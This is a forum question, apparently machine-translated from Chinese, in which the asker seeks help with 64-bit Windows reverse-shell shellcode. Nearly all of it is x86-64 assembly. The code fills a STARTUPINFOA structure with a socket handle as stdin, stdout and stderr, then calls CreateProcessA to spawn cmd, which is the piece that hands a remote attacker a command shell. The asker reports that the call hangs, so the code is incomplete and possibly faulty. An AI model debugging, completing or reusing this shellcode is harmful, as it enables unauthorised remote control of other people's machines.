当编写64位反向外壳时，在CreaterProcessa API中陷入困境

Question

您好，我正在编写Windows 64bit反向外壳，并在Gett连接到targetMachine IP之后，我想创建进程以spwan shell，拳头，我尝试为createProcess API编写startInfo struct，但是之后，我将所有参数传递给所有参数函数但行不通，这里是完整的代码 https：//pastebin.com/6ft2jcmx

;STARTUPINFOA+PROCESS_INFORMATION
;----------------------------------
push byte 0x12                  ; We want to place (18 * 4) = 72 null bytes onto the stack
    pop rcx                         ; Set ECX for the loop
    xor r11,r11
push_loop:

    push   r11                      ; push a null dword
    loop push_loop                  ; keep looping untill we have pushed enough nulls
lea r12,[rsp]
  
mov dl,104
  
xor rcx,rcx
mov [r12],dword edx
mov [r12+4],rcx
mov [r12+12],rcx
mov [r12+20],rcx
mov [r12+24],rcx
  
xor rdx,rdx
mov dl,255
inc rdx
  
mov [r12+0x3c],edx
mov [r12+0x50],r14 ;  HANDLE hStdInput;
mov [r12+0x58],r14 ;  HANDLE hStdOutput;
mov [r12+0x60],r14  ;HANDLE hStdError;


;createprocessA_calling
sub rsp, 0x70

push 'cmdA'
mov [rsp+3],byte dl
  
lea rdx,[rsp]
inc rcx
mov [rsp+32],rcx
xor rcx,rcx
  
xor r8,r8
  
mov [rsp+40],r8
mov [rsp+48],r8
mov [rsp+56],r8
lea r9,[r12]
mov [rsp+64],r9
lea r9,[r12+104]
mov [rsp+72],r9
  
xor r9,r9
  
call rbx ;createprocessA

最后，当我打电话给createProcessa时，它被卡住了